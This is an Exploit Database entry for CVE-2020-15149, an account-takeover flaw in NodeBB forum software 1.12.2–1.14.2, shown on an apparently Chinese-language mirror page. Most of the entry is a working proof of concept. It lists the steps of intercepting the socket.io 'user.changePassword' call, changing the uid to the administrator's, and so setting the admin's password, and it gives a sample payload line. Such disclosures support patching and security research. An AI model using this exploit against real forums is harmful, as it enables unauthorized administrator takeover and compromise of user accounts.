NodeBB Forum 1.12.2-1.14.2 – Account Takeover

• Exploit Database
• 15 阅读

• 作者： Muhammed Eren Uygun
  日期： 2020-10-14
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/48875/

• # Exploit Title:NodeBB Forum 1.12.2-1.14.2 - Account Takeover
  # Date: 2020-08-18
  # Exploit Author: Muhammed Eren Uygun
  # Vendor Homepage: https://nodebb.org/
  # Software Link: https://github.com/NodeBB/NodeBB
  # Version: 1.12.2-1.14.2
  # Tested on: Linux
  # CVE : CVE-2020-15149 - https://github.com/NodeBB/NodeBB/security/advisories/GHSA-hr66-c8pg-5mg7
  Impact:
  ----------------------
  A bug in this validation logic made it possible to change the password of any user on a running NodeBB forum by sending a specially crafted socket.io call to the server. This could lead to a privilege escalation event due via an account takeover.
  
  Bug PoC:
  ----------------------
  Blog: https://medium.com/bugbountywriteup/privilege-escalation-via-account-takeover-on-nodebb-forum-software-512-a593a7b1b4a4
  1- Create a user
  2- Go to password change page
  3- Change password with proxy
  427["user.changePassword",("currentPassword":"Test.12345!","newPassword":"Admin123!","uid":5)])
  4- Replace the uid on the request with 1, which is the uid value of the admin user, and send the request.
  5-So you can login with this password to admin user.